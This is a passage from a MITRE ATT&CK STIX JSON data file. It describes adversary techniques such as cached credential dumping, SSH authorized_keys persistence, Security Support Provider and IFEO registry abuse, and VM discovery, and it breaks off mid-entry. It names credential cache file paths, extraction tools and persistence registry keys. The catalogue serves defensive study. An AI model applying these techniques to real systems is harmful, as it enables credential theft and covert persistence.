            "description": "Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time.(Citation: GenAI Phishing)(Citation: GTIG AI Threat Tracker) Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools.\n\nWritten materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders.\n\nWritten content produced through these methods may be used in support of other techniques, such as [Phishing](https://attack.mitre.org/techniques/T1660), [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003), [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Social Engineering](https://attack.mitre.org/techniques/T1684), [Financial Theft](https://attack.mitre.org/techniques/T1657), or [Establish Accounts](https://attack.mitre.org/techniques/T1585).\n\nWritten content does not include malicious code or scripts; for development of malicious code and scripts, see [Develop Capabilities](https://attack.mitre.org/techniques/T1587).",
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            "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
            "created": "2017-05-31T21:31:18.867Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1108",
                    "external_id": "T1108"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-04-14T22:53:15.511Z",
            "name": "Redundant Access",
            "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": true,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "3.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1193",
                    "external_id": "T1193"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "external_id": "CAPEC-163"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-24T17:48:54.835Z",
            "name": "Spearphishing Attachment",
            "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "created": "2020-02-21T15:42:25.991Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/005",
                    "external_id": "T1003.005"
                },
                {
                    "source_name": "PassLib mscache",
                    "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.",
                    "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"
                },
                {
                    "source_name": "ired mscache",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials"
                },
                {
                    "source_name": "Microsoft - Cached Creds",
                    "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
                }
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            ],
            "modified": "2025-10-24T17:48:54.919Z",
            "name": "Cached Domain Credentials",
            "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs",
                "Tim (Wadhwa-)Brown",
                "Yves Yonan"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "created": "2020-06-24T12:42:35.144Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/004",
                    "external_id": "T1098.004"
                },
                {
                    "source_name": "Venafi SSH Key Abuse",
                    "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.",
                    "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"
                },
                {
                    "source_name": "Broadcom ESXi SSH",
                    "description": "Broadcom. (2024, December 12). Allowing SSH access to VMware vSphere ESXi/ESX hosts with public/private key authentication. Retrieved March 26, 2025.",
                    "url": "https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html"
                },
                {
                    "source_name": "Google Cloud Privilege Escalation",
                    "description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.",
                    "url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/"
                },
                {
                    "source_name": "cisco_ip_ssh_pubkey_ch_cmd",
                    "description": "Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478"
                },
                {
                    "source_name": "Cybereason Linux Exim Worm",
                    "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.",
                    "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability"
                },
                {
                    "source_name": "Google Cloud Add Metadata",
                    "description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata"
                },
                {
                    "source_name": "Azure Update Virtual Machines",
                    "description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update"
                },
                {
                    "source_name": "SSH Authorized Keys",
                    "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.",
                    "url": "https://www.ssh.com/ssh/authorized_keys/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.640Z",
            "name": "SSH Authorized Keys",
            "description": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code> (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`).(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH.(Citation: Broadcom ESXi SSH) The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Tony Lambert, Red Canary",
                "Dror Alon, Palo Alto Networks",
                "Or Kliger, Palo Alto Networks",
                "Austin Clark, @c2defense",
                "Arad Inbar, Fidelis Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "IaaS",
                "Linux",
                "macOS",
                "Network Devices"
            ],
            "x_mitre_version": "1.4"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6bc7f9aa-b91f-4b23-84b8-5e756eba68eb",
            "created": "2025-03-27T15:32:17.400Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1673",
                    "external_id": "T1673"
                },
                {
                    "source_name": "TrendMicro Play",
                    "description": "Cj Arsley Mateo, Darrel Tristan Virtusio, Sarah Pearl Camiling, Andrei Alimboyao, Nathaniel Morales, Jacob Santos, Earl John Bareng. (2024, July 19). Play Ransomware Group\u2019s New Linux Variant Targets ESXi, Shows Ties With Prolific Puma. Retrieved March 26, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.640Z",
            "name": "Virtual Machine Discovery",
            "description": "An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: TrendMicro Play) Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host. \n\nAdversaries may use the information from [Virtual Machine Discovery](https://attack.mitre.org/techniques/T1673) during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as [Service Stop](https://attack.mitre.org/techniques/T1489) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1215",
                    "external_id": "T1215"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "Linux Kernel Module Programming Guide",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.",
                    "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html"
                },
                {
                    "source_name": "Volatility Phalanx2",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"
                },
                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                },
                {
                    "source_name": "GitHub Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
                    "url": "https://github.com/f0rb1dd3n/Reptile"
                },
                {
                    "source_name": "GitHub Diamorphine",
                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "url": "https://github.com/m0nad/Diamorphine"
                },
                {
                    "source_name": "iDefense Rootkit Overview",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.",
                    "url": "http://www.megasecurity.org/papers/Rootkits.pdf"
                },
                {
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle",
                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Synack Secure Kernel Extension Broken",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.",
                    "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/"
                },
                {
                    "source_name": "Securelist Ventir",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"
                },
                {
                    "source_name": "Wikipedia Loadable Kernel Module",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
                },
                {
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.",
                    "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:48:55.181Z",
            "name": "Kernel Modules and Extensions",
            "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)",
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            "x_mitre_contributors": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
            "created": "2017-05-31T21:31:13.447Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1101",
                    "external_id": "T1101"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
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            "name": "Security Support Provider",
            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413",
            "created": "2020-10-02T16:01:35.350Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/006",
                    "external_id": "T1590.006"
                },
                {
                    "source_name": "Nmap Firewalls NIDS",
                    "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.",
                    "url": "https://nmap.org/book/firewalls.html"
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            "name": "Network Security Appliances",
            "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
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            "type": "attack-pattern",
            "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
            "created": "2020-01-24T15:05:58.384Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/012",
                    "external_id": "T1546.012"
                },
                {
                    "source_name": "FSecure Hupigon",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                {
                    "source_name": "Microsoft Silent Process Exit NOV 2017",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
                },
                {
                    "source_name": "Microsoft GFlags Mar 2017",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
                },
                {
                    "source_name": "Oddvar Moe IFEO APR 2018",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
                },
                {
                    "source_name": "Symantec Ushedix June 2008",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
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            "name": "Image File Execution Options Injection",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>).(Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool.(Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached.(Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process).(Citation: Microsoft Silent Process Exit NOV 2017)(Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>.(Citation: Microsoft Silent Process Exit NOV 2017)(Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges.(Citation: Tilbury 